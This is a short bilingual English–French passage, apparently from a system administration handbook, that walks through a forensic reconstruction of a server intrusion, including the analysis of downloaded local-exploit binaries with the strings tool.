en: In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
fr-FR: En parallèle à cela, l'attaquant a téléchargé des fichiers supplémentaires <filename>/tmp/pt</filename> et <filename>/tmp/loginx</filename>. Une analyse avec <command>strings</command> permet de récupérer des chaînes comme <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> ou <foreignphrase>Now wait for suid shell...</foreignphrase>. Il s'agit de programmes exploitant des vulnérabilités locales pour obtenir des privilèges administrateur. Mais sont-ils parvenus à leur fin ? Selon toute vraisemblance (fichiers modifiés postérieurement à l'intrusion), non.

en: In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
fr-FR: Dans cet exemple, tout le déroulement de l'intrusion a pu être reconstitué et l'attaquant a pu se servir du système compromis pendant 3 jours. Toutefois, le plus important dans cette reconstitution est que la vulnérabilité a été identifiée et a pu être corrigée sur la nouvelle installation.
